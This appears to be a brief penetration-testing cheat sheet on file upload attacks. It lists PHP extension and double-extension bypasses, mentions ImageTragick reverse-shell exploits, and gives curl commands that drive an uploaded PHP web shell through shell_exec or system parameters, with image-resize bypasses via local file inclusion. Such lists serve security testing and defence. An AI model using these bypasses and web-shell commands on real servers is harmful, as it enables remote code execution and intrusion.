Upload

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Exploits

Image Tragik

HTTP Request
Reverse Shell
Touch command

PHP Extension

.php

Less known extension
.pht
.pgif
.phtml
.shtml

Double extension
.jpeg.php
.png.php

PNG Bypass a resize - Upload the picture and use a local file inclusion

You can use it by specifying $_GET[0] as shell_exec and passing a $_POST[1] parameter with the shell command to execute.
curl 'http://localhost/b.php?0=shell_exec' --data "1='ls'"
curl 'http://localhost/test.php?0=system' --data "1='ls'"

JPG Bypass a resize - Upload the picture and use a local file inclusion

http://localhost/test.php?c=ls

Thanks to

• Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil